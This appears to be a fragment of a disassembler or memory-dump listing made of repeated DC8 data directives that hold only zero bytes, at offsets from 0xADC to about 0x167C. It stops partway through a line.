000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000ADC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000AEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000AFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000B0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000B1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000B2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000B3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000B4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000B5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000B6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000B7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000B8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000B9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000BAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000BBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000BCC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000BDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000BEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000BFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000C0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000C1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000C2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000C3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000C4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000C5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000C6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000C7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000C8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000C9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000CAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000CBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000CCC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000CDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000CEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000CFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000D0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000D1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000D2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000D3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000D4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000D5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000D6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000D7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000D8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000D9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000DAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000DBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000DCC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000DDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000DEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000DFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000E2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000E9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000EAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000EBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000ECC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000EDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000EEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000EFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000F2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000F9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000FAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000FBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000FCC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000FDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00000FEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00000FFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000100C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000101C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000102C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000103C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000104C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000105C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000106C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000107C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000108C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000109C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000010AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000010BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000010CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000010DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000010EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000010FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000110C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000111C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000112C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000113C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000114C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000115C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000116C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000117C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000118C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000119C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000011AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000011BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000011CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000011DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000011EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000011FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000120C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000121C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000122C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000123C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000124C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000125C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000126C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000127C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000128C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000129C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000012AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000012BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000012CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000012DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000012EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000012FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000130C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000131C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000132C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000133C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000134C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000135C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000136C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000137C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000138C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000139C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000013AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000013BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000013CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000013DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000013EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000013FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000140C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000141C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000142C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000143C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000144C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000145C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000146C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000147C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000148C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000149C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000014AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000014BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000014CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000014DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000014EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000014FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000150C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000151C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000152C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000153C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000154C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000155C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000156C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000157C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000158C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000159C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000015AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000015BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000015CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000015DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000015EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000015FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000160C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000161C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000162C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000163C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000164C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000165C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000166C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000167C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 